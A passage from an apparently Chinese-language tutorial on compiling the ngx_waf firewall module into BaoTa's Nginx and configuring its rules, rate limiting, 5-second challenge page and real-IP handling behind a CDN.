--with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --with-cc-opt=-std=gnu99 接下来开始编译ngx_waf模块与nginx，以下代码会用到上述处理好的编译参数。 cd /root/nginx/ngx_waf make cd /www/server/nginx/src ./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc --with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --add-module=/root/nginx/ngx_waf --with-cc-opt='-std=gnu99' make mv ../sbin/nginx ../sbin/nginx.bak cp ./objs/nginx ../sbin/nginx chmod +x /www/server/nginx/sbin/nginx 到这里就已经替换原有的Nginx程序，接下来在宝塔中启动Nginx即可！ 若您出现如下报错： nginx: the configuration file /www/server/nginx/conf/nginx.conf syntax is ok nginx: configuration file /www/server/nginx/conf/nginx.conf test failed 则需要先卸载宝塔的Nginx防火墙再重新安装！ 到此为止，安装与编译结束。 配置 在安装完成后我们可以将配置文件加入单个站点的配置文件中以实现未不同网站定制不同的规则，配置填写位置如图： 以下介绍我的配置，内容并不完善，各参数与各模块具体功能请详见参考文档！ waf on; # 是否启用模块 waf_rule_path /root/nginx/ngx_waf/assets/rules/; # 模块规则 waf_mode DYNAMIC; # 启用动态网站模式 waf_cache capacity=100; # 设置缓存规则检查结果相关的参数，过小会导致频繁地淘汰缓存，增加内存碎片，降低性能 waf_under_attack on file=/www/wwwroot/defence.html; # 对所有访问的用户开启5秒盾，file需要填写单个html的绝对路径！请仅在网站遭受大量攻击的时候打开！其中该html的作用为5秒之后刷新页面！ waf_cc_deny rate=300r/m duration=10m size=20m; #每分钟请求大于300次则封禁10分钟，最多缓存20M大小的请求记录 如果使用CDN或负载均衡等反向代理程序，为获取真实的客户IP地址，需要用到http_realip_module，宝塔的Nginx已经默认编译该模块。此时我们需要在配置文件中加入： set_real_ip_from 0.0.0.0/0; #CDN节点的IP段，此项可多次申明，请根据实际情况填写，照抄危险！ real_ip_header X-Forwarded-For; 以上提到了用于5秒盾跳转的HTML页面，以下是我自己的一个版本，仅供参考。 正在检查您的浏览器... OOPS! 站点正在被攻击！您的请求正在接受检查... 请给我们一些时间，您马上就会回到站点，这会很快~ 将以上内容保存到/www/wwwroot/defence.html即可。 测试 访问 /www.bak，如果返回 403 状态码则表示模块成功启动。 结语 至此ngx_waf模块安装结束，在配置好一定的防御策略之后可以获得不错的防御能力。